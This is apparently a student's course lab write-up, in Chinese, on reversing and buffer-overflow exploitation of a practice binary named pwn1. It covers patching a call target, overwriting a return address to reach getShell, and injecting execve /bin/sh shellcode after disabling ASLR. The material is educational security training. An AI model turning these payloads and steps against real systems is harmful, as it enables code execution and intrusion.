• 20155202张旭《网络对抗技术》 week1 PC平台逆向破解及Bof基础实践


    20155202张旭《网络对抗技术》 week1 PC平台逆向破解及Bof基础实践

    1.实践目标:

    实践对象:一个名为pwn1的linux可执行文件。

    • 该程序正常执行流程是:
    1. main调用foo函数,foo函数会简单回显任何用户输入的字符串。
    2. 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。
    3. 正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
    • 三个实践内容如下:
    1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    3. 注入一个自己制作的shellcode并运行这段shellcode。

    这几种思路,基本代表现实情况中的攻击目标:

    - 运行原本不可访问的代码片段
    - 强行修改程序执行流
    - 以及注入运行任意代码。
    

    2.实践基础知识

    常用的Linux基本操作

    objdump -d:从objfile中反汇编那些特定指令机器码的section。

    perl -e:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。

    xxd :为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。

    ps -ef:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。

    | :管道,将前者的输出作为后者的输入。

    > :输入输出重定向符,将前者输出的内容输入到后者中。

    NOP, JNE, JE, JMP, ++CMP汇编指令的机器码++

    1. near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
    2. CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
    3. NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
    4. JNE:条件转移指令,如果不相等则跳转。(机器码:75)
    5. JE:条件转移指令,如果相等则跳转。(机器码:74)
    6. JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp
    

    下载目标文件pwn1,反汇编。下面只保留了最核心的几行代码。

    root@KaliYL:~#  objdump -d pwn1 | more
    
    0804847d <getShell>:
     804847d:	55                   	push   %ebp
     ...
    08048491 <foo>:
     8048491:	55                   	push   %ebp
     ...
    080484af <main>:
     ...
     80484b5:	e8 d7 ff ff ff       	call   8048491 <foo> 
     80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
     ...
    

    --

    • 先看第12行,"call 8048491 "是汇编指令

    • 是说这条指令将调用位于地址8048491处的foo函数;

    • 其对应机器指令为“e8 d7ffffff”,e8即跳转之意。

    • 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,
      --

    • main函数调用foo,对应机器指令为“ e8 d7ffffff”,

    • 那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。

    • 用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。

    • 下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
      --

    • root@KaliYL:~# cp pwn1 pwn2

    • root@KaliYL:~# vi pwn2

    • 以下操作是在vi内

    • 1.按ESC键

    • 2.输入如下,将显示模式切换为16进制模式

    • :%!xxd

    • 3.查找要修改的内容

    • /e8d7

    • 4.找到后前后的内容和反汇编的对比下,确认是地方是正确的

    • 5.修改d7为c3

    • 6.转换16进制为原格式

    • :%!xxd -r

    • 7.存盘退出vi

    • :wq

    • 8.再反汇编看一下,call指令是否正确调用getShell

    root@KaliYL:~# objdump -d pwn2 | more
    
    ...
    080484af <main>:
     80484af:	55                   	push   %ebp
     80484b0:	89 e5                	mov    %esp,%ebp
     80484b2:	83 e4 f0             	and    $0xfffffff0,%esp
     80484b5:	e8 c3 ff ff ff       	call   804847d <getShell>
     80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
    
    • 9.运行下改后的代码,会得到shell提示符#

    root@KaliYL:~# ./pwn2
    # ls
    20135201_met_rtcp_136_443backdoor.exe  pwn1.bak
    

    通过构造输入参数,造成BOF攻击,改变程序执行流

    • 知识要求:堆栈结构,返回地址

    • 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取

    • 进阶:掌握ELF文件格式,掌握动态技术

    • 3.1 反汇编,了解程序的基本功能

    root@KaliYL:~#  objdump -d pwn1 | more
    
     8048477:	90                   	nop
     8048478:	e9 73 ff ff ff       	jmp    80483f0 <register_tm_clones>
    

    == 注意这个函数getShell,我们的目标是触发这个函数 ==

    0804847d <getShell>:
     804847d:	55                   	push   %ebp
     804847e:	89 e5                	mov    %esp,%ebp
     8048480:	83 ec 18             	sub    $0x18,%esp
     8048483:	c7 04 24 60 85 04 08 	movl   $0x8048560,(%esp)
     804848a:	e8 c1 fe ff ff       	call   8048350 <system@plt>
     804848f:	c9                   	leave  
     8048490:	c3                   	ret
    

    == 该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞 ==

    08048491 <foo>:
     8048491:	55                   	push   %ebp
     8048492:	89 e5                	mov    %esp,%ebp
     8048494:	83 ec 38             	sub    $0x38,%esp
     8048497:	8d 45 e4             	lea    -0x1c(%ebp),%eax
     804849a:	89 04 24             	mov    %eax,(%esp)
    

    == 这里读入字符串,但系统只预留了__字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 ==

    804849d:	e8 8e fe ff ff       	call   8048330 <gets@plt>
     80484a2:	8d 45 e4             	lea    -0x1c(%ebp),%eax
     80484a5:	89 04 24             	mov    %eax,(%esp)
     80484a8:	e8 93 fe ff ff       	call   8048340 <puts@plt>
     80484ad:	c9                   	leave  
     80484ae:	c3                   	ret
    
    080484af <main>:
     80484af:	55                   	push   %ebp
     80484b0:	89 e5                	mov    %esp,%ebp
     80484b2:	83 e4 f0             	and    $0xfffffff0,%esp
     80484b5:	e8 d7 ff ff ff       	call   8048491 <foo>
    

    上面的call调用foo,同时在堆栈上压上返回地址值:__________

    80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
     80484bf:	c9                   	leave  
     80484c0:	c3                   	ret    
     80484c1:	66 90                	xchg   %ax,%ax
     80484c3:	66 90                	xchg   %ax,%ax
     80484c5:	66 90                	xchg   %ax,%ax
     80484c7:	66 90                	xchg   %ax,%ax
     80484c9:	66 90                	xchg   %ax,%ax
     80484cb:	66 90                	xchg   %ax,%ax
     80484cd:	66 90                	xchg   %ax,%ax
     80484cf:	90                   	nop
    
    080484d0 <__libc_csu_init>:
    

    --

    3.2 确认输入字符串哪几个字符会覆盖到返回地址

    root@KaliYL:~# gdb pwn1
    (gdb) r
    Starting program: /root/pwn1 
    1111111122222222333333334444444455555555
    1111111122222222333333334444444455555555
    
    Program received signal SIGSEGV, Segmentation fault.
    0x35353535 in ?? ()
    (gdb) info r
    eax            0x29	41
    ecx            0xffffffff	-1
    edx            0xf7fab870	-134563728
    ebx            0x0	0
    esp            0xffffd320	0xffffd320
    ebp            0x34343434	0x34343434
    esi            0xf7faa000	-134569984
    edi            0xf7faa000	-134569984
    eip            0x35353535	0x35353535            //注意EIP的值,是ASCII 5
    eflags         0x10246	[ PF ZF IF RF ]
    cs             0x23	35
    ss             0x2b	43
    ds             0x2b	43
    es             0x2b	43
    fs             0x0	0
    gs             0x63	99
    (gdb) r
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /root/pwn1 
    1111111122222222333333334444444412345678
    1111111122222222333333334444444412345678
    
    Program received signal SIGSEGV, Segmentation fault.
    0x34333231 in ?? ()
    (gdb) info r
    eip            0x34333231	0x34333231
    eflags         0x10246	[ PF ZF IF RF ]
    
    (gdb) 
    
    
    

    如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

    --

    3.3 确认用什么值来覆盖返回地址
    getShell的内存地址,通过反汇编时可以看到,即0804847d。
    
    接下来要确认下字节序,简单说是输入11111111222222223333333344444444x08x04x84x7d,还是输入11111111222222223333333344444444x7dx84x04x08。
    

    --

    (gdb) break *0x804849d
    Breakpoint 2 at 0x804849d
    (gdb) info break
    Num     Type           Disp Enb Address    What
    1       breakpoint     keep y   <PENDING>  x804849d
    2       breakpoint     keep y   0x0804849d <foo+12>
    (gdb) r
    Starting program: /root/pwn1 
    
    Breakpoint 2, 0x0804849d in foo ()
    (gdb) info r
    eip            0x804849d	0x804849d <foo+12>
    
    对比之前 ==eip 0x34333231	0x34333231== ,正确应用输入 ==11111111222222223333333344444444x7dx84x04x08==。
    

    --

    3.4 构造输入字符串

    • 由为我们没法通过键盘输入x7dx84x04x08这样的16进制值,所以先生成包括这样字符串的一个文件。x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
    root@KaliYL:~# perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
    关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。
    

    --

    • 可以使用16进制查看指令xxd查看input文件的内容是否如预期。

    然后将input的输入,通过管道符“|”,作为pwn1的输入

    遇到的问题及解决方案

    问题一.没办法联网,自己修改了虚拟机ip地址还是不行。
    • 解决方法:
    • 1,首先将VM的网卡net8启用:
      怎样让VM共享本地网络地址上网
    •   2,然后将VM的网卡设置为VMnet8(NAT):
      怎样让VM共享本地网络地址上网
    •   3,将PC的可以上网的网卡共享:
      怎样让VM共享本地网络地址上网
        要勾上允许其他网络用户通过此计算机的intenet连接来连接,并选择VMnet8。
    •   4,设置VMnet8网卡的默认网关为本地PC可以上网的网卡的IP地址:
      怎样让VM共享本地网络地址上网
        我可以上网的网卡的IP地址为172.18.216.77,VMnet8的地址为192.168.0.1
    •   5,设置VM中网卡的地址为192.168.0.*网段,默认网关为192.168.0.1,并配置好DNS。
      怎样让VM共享本地网络地址上网
        这样就算设置完成了,在VM中访问网络时,先根据默认网关192.168.0.1,找到了VMnet8网卡,然后根据VMnet8网卡的默认网关172.18.216.77找到了可以上网的网卡,而该网卡已经共享上网,

    还有不要没事按360的加速球,贼气人,把后台的vm程序全关了!!!


    问题二.安装32位运行库很慢

    • 等,就一个字,等,等三小时!!

    • 1.切换到root用户(大家如果按部就班地安装的话都是root用户)

    kali@20154312:~$ su
    密码:
    
    • 2.用文本编辑器打开source.list
    root@20154312: leafpad /etc/apt/sources.list
    
    • 3.添加下列更新源
    #阿里云kali源  
    deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib  
    deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib  
    deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free  
    deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free  
      
    #中科大kali源  
    deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib  
    deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib  
    deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free  
    deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
    
    • 4.对软件进行一次整体更新(一共923M的更新包)
    apt-get clean
    apt-get update
    apt-get upgrade
    

    二.安装32位运行库

    apt-get install lib32ncurses5
    或者
    apt-get install lib32z1
    

    4. 注入Shellcode并执行

    • shellcode就是一段机器指令(code)
    • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
    首先使用apt-get install execstack命令安装execstack。
    
    修改以下设置:
    
    root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
    root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
    X pwn1
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    2
    root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    0
    我们选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为x4x3x2x1):
    
    perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00"' > input_shellcode
    

    一定切记要加上32个a,不然地址会出错

    • 接下来确定x4x3x2x1部分到底需要填什么

    • 打开一个终端注入这段攻击buf,在另一个终端查看pwn1这个进程,发现进程号为2571。

    • 启动gdb调试这个进程:

    • 通过设置断点,来查看注入buf的内存地址:

    • 使用break *0x080484ae设置断点,并输入c继续运行。在pwn5202进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp查找地址。

    • 使用x/16x 0xffffd2fc查看其存放内容,看到了01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是0xffffd2fc。

    • 接下来只需要将之前的x4x3x2x1改为这个地址即可:

    • 再执行程序,攻击成功:


    最后切记初始化固定段地址每次启动虚拟机都要重新配置,不然会和我一样蠢的在图书馆三小时不知道哪里错了哈哈哈!!

  • 相关阅读:
    十七、Java基础之final
    十六、Java基础之super
    十五、Java基础之多态
    十四、Java基础之方法重写/覆盖
    十三、Java基础之单例模式
    十二、Java基础之继承
    十一、Java基础之static关键字
    十、Java基础之this介绍
    九、Java基础之参数传递(值传递)
    利用ResultFilter实现asp.net mvc3 页面静态化
  • 原文地址:https://www.cnblogs.com/zx20155202/p/8546413.html
Copyright © 2020-2023  润新知